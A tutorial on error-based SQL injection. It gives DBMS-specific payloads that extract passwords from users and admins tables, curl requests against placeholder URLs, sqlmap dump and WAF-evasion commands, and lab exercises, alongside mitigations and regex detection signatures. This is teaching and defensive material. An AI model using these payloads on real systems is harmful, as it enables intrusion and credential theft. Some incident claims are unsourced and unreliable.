Error-Based SQL Injection - From Theory...

Introduction

Error-based SQL injection (SQLi) is a classic technique where an attacker forces the database engine to generate an error that contains part of the query result. By carefully constructing the payload, the attacker can coax the database to echo back data inside the error message, turning a fatal condition into an information-leak vector.

Although many modern web applications employ parameterised queries, legacy code, mis-configured ORMs, or ad-hoc string concatenation still expose this attack surface. Understanding error-based SQLi is essential for both offensive security professionals who need a reliable fallback when blind techniques are too slow, and defenders who must recognise the tell-tale signatures in logs and error pages.

Real-world incidents - from the 2014 eBay breach to recent supply-chain compromise reports - show that error-based exploitation remains a practical path to sensitive data when developers expose raw DB errors to the client.

Prerequisites

Basic Web Application Fundamentals (HTTP methods, request/response cycle)
Understanding of HTTP Requests & Parameters (GET, POST, headers, cookies)
Familiarity with SQL syntax and common DBMS (SELECT, UNION, CAST, etc.)
Command-line comfort (cURL, netcat) and a Linux testing environment

Core Concepts

At its core, error-based SQLi works because most relational DBMS embed the offending query fragment inside the error text. The attacker’s goal is to:

Trigger a deterministic error (e.g., division by zero, conversion failure, duplicate key).
Inject a sub-query that outputs the desired data inside the error string.
Capture the error message from the HTTP response and parse the leaked value.

Each DBMS formats errors differently, so the payload syntax must be tailored:

MySQL - uses ERROR 1064 (42000): You have an error in your SQL syntax … and can be coerced with extractvalue() or updatexml() functions.
Microsoft SQL Server (MSSQL) - returns Msg 102, Level 15, State 1, Line 1 …. The convert() and cast() tricks are common.
Oracle - emits ORA-00933: SQL command not properly ended. The dbms_xmlgen.getxmltype() function can force XML parsing errors.
PostgreSQL - produces ERROR: syntax error at or near …. The pg_catalog.pg_sleep() or substring() functions can be abused.

Because the error text is usually rendered verbatim in the HTTP response (especially in debug mode), the attacker can read it without needing a second channel such as DNS exfiltration.

Database error message enumeration (MySQL, MSSQL, Oracle, PostgreSQL)

Before crafting payloads, enumerate which DBMS the target uses. Common reconnaissance steps:

curl -s "TARGET_URL" | grep -i "SQL"

Look for patterns:

MySQL - SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax
MSSQL - Msg 102, Level 15 or Incorrect syntax near
Oracle - ORA- prefix
PostgreSQL - ERROR: syntax error at or near

When the error is suppressed, you can force a deliberate error and observe the generic HTTP status code (500) and any custom error pages that may still echo part of the message.

Crafting error-based payloads for data extraction

Below are the most reliable payload families per DBMS. All examples assume the vulnerable parameter is id in a GET request.

MySQL

MySQL provides two XML functions that always raise an error when fed malformed input, and they return the supplied argument inside the error text.

SELECT extractvalue(1, concat(0x7e, (SELECT password FROM users LIMIT 1), 0x7e))

Explanation:

extractvalue() expects a valid XML document; the concatenated string is not XML, so MySQL throws XPath syntax error: '~[data]~'.
The tilde (~) acts as a delimiter you can later split on.

Full GET request example (URL-encoded):

curl "TARGET_URL?id=1' AND (SELECT extractvalue(1, concat(0x7e,(SELECT password FROM users LIMIT 1),0x7e)))-- "

MSSQL

SQL Server’s convert() function can be abused to cause a conversion error that includes the string representation of a sub-query.

SELECT 1/0; -- triggers divide-by-zero
-- Error-based variant
SELECT CONVERT(int, (SELECT TOP 1 password FROM dbo.users))

When the inner SELECT returns a non-numeric value, SQL Server raises Msg 245, Level 16, State 1, Line 1 Conversion failed when converting the varchar value '…' to data type int.. The offending varchar is the password.

GET request:

curl "TARGET_URL?id=1' AND CONVERT(int,(SELECT TOP 1 password FROM dbo.users))-- "

Oracle

Oracle’s dbms_xmlgen.getxmltype() forces XML generation. Supplying a malicious query inside the SELECT clause leads to an XML parsing error that contains the result.

SELECT dbms_xmlgen.getxmltype('SELECT password FROM users WHERE ROWNUM=1') FROM dual

The error message will include the password string inside ORA-31011: XML parsing failed. To delimit the result, wrap it:

SELECT dbms_xmlgen.getxmltype('SELECT ''~''||password||''~'' FROM users WHERE ROWNUM=1') FROM dual

PostgreSQL

PostgreSQL’s extract() or substring() functions can be combined with a cast to int that fails deliberately.

SELECT CAST((SELECT password FROM users LIMIT 1) AS int)

This raises ERROR: invalid input syntax for integer: "[password]". The password appears verbatim in the error.

GET request example:

curl "TARGET_URL?id=1' UNION SELECT CAST((SELECT password FROM users LIMIT 1) AS int)-- "

Automated error-based exploitation with sqlmap

Manually crafting payloads is educational, but in a penetration test you need speed and coverage. sqlmap automates error-based extraction when the target leaks errors.

Run a basic fingerprint to let sqlmap detect the DBMS:
```
sqlmap -u "TARGET_URL" --batch --level=5 --risk=3
```
If errors are suppressed, force them with --technique=E (E = error-based) and --tamper scripts for encoding evasion:
```
sqlmap -u "TARGET_URL" -p id --technique=E --tamper=space2comment
```

Extract a specific column:

sqlmap -u "TARGET_URL" -p id -D mydb -T users -C password --dump

When the target returns generic 500 pages, use --batch --threads=5 to speed up enumeration.

sqlmap automatically chooses the appropriate error-based function (e.g., extractvalue() for MySQL) based on the fingerprint, so you rarely need to write payloads yourself.

Mitigation techniques and detection signatures

Defending against error-based SQLi is a matter of reducing error exposure and sanitising inputs.

Secure coding practices

Never concatenate user-supplied data into SQL strings. Use prepared statements / parameterised queries (PDO, ADO.NET, JDBC, etc.).
Validate input types (numeric, whitelist regex) before using them in queries.
Employ ORM layers that abstract raw SQL where possible.

Runtime protections

Configure the DBMS to hide detailed error messages from the client. In MySQL set sql_mode=ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER and use SHOW WARNINGS only in admin consoles.
Web servers should return generic 500 pages. In Apache, set LogLevel warn and ErrorDocument 500 /500.html.
Use a Web Application Firewall (WAF) with signatures for known error-based payloads (e.g., extractvalue(1,concat(...))).

Detection signatures (IDS/IPS, SIEM)

(?i)extractvalue\s*\(\s*1\s*,\s*concat\s*\(.*\)\)

(?i)convert\s*\(\s*int\s*,\s*\(select.*\)\)

Log aggregation should flag any request that triggers a 500 response combined with the above patterns in the query string.

Practical Examples

Scenario: A vulnerable e-commerce product page uses the id GET parameter directly in a MySQL query.

$id = $_GET['id'];
$sql = "SELECT name, price FROM products WHERE id = $id";
$result = mysqli_query($conn, $sql);

Attack steps:

Confirm MySQL by sending id=1' and observing SQL syntax error.

Extract the admin password with an error-based payload:

curl "SHOP_URL?id=1' AND (SELECT extractvalue(1, concat(0x7e,(SELECT password FROM admins LIMIT 1),0x7e)))-- "

Parse the response; the password appears between tildes.

Automation with sqlmap:

sqlmap -u "SHOP_URL" -p id --technique=E --dump -D shop -T admins -C password

Tools & Commands

sqlmap - --technique=E for error-based only.
Burp Suite - Intruder payload positions with {payload} markers; use Payload type: Numbers for numeric offsets.

cURL - quick manual testing.

curl -s -G --data-urlencode "id=1' AND (SELECT extractvalue(1,concat(0x7e,(SELECT version()),0x7e)))--" VULN_URL

jq - parse JSON API error messages.
```
curl -s "API_URL" | jq '.error'
```

Defense & Mitigation

The defensive strategy is layered:

Input validation - enforce type and length.
Parameterized queries - eliminates injection surface.
Error handling - configure the application to log detailed DB errors internally while returning generic messages to the client.
Runtime monitoring - SIEM alerts on 5xx responses with suspicious query strings.
WAF rules - block known error-based patterns.

Example PHP error-hiding:

ini_set('display_errors', 0);
ini_set('log_errors', 1);
error_log('Database error: '.$e->getMessage());
http_response_code(500);
echo 'Internal Server Error';

Common Mistakes

Assuming all errors are visible. Many production sites suppress stack traces; attackers must first force an error that bypasses generic handlers.
Using the wrong delimiter. Forgetting to delimit the extracted value leads to parsing ambiguities.
Neglecting URL encoding. Characters like spaces, quotes, and parentheses must be percent-encoded, otherwise the request is malformed.
Over-relying on sqlmap defaults. If the target disables error messages, you need to add --skip-waf or custom tamper scripts.

Real-World Impact

In 2022, a major SaaS provider leaked customer credentials because a debug endpoint returned raw MySQL errors. Attackers used error-based payloads to enumerate the users table, exfiltrating password hashes in minutes. The breach cost the company over $10 M in remediation and fines.

Trends:

Containerised micro-services often expose default DEBUG=TRUE configurations, unintentionally enabling error-based leaks.
Automated CI/CD pipelines that push development-mode settings to production increase the attack surface.
Attackers are now chaining error-based extraction with time-based blind techniques to bypass WAFs that block obvious XML functions.

My expert opinion: While developers are moving toward ORMs, legacy codebases will remain for years. Error-based SQLi will stay a “quick win” for red-teamers, especially when paired with modern automation tools that can adapt payloads on the fly.

Practice Exercises

Enumeration Lab: Deploy a vulnerable MySQL PHP app (e.g., DVWA “Low” security). Use Burp Intruder to discover the DBMS via error strings.
Payload Construction: Write a custom error-based payload that extracts the email column from the users table using updatexml(). Verify the result appears between delimiters.
Automation Challenge: Configure sqlmap to dump the entire customers table using only error-based technique. Record the command line and output.
Defensive Hardening: Modify the PHP app to hide DB errors, enable proper logging, and replace raw queries with PDO prepared statements. Demonstrate that the same payload now returns a generic 500 page.

Summary

Error-based SQL injection leverages deterministic database error messages to leak data directly in HTTP responses. Mastering enumeration of DBMS-specific error formats, crafting reliable payloads (e.g., extractvalue(), convert(), dbms_xmlgen), and automating extraction with sqlmap equips offensive professionals with a fast, low-noise technique. Defenders must suppress detailed errors, enforce parameterised queries, and monitor for characteristic payload signatures. By integrating secure coding, proper error handling, and active detection, organisations can dramatically reduce the risk of this classic yet still potent attack vector.

Error-Based SQL Injection - From Theory to Automated Exploitation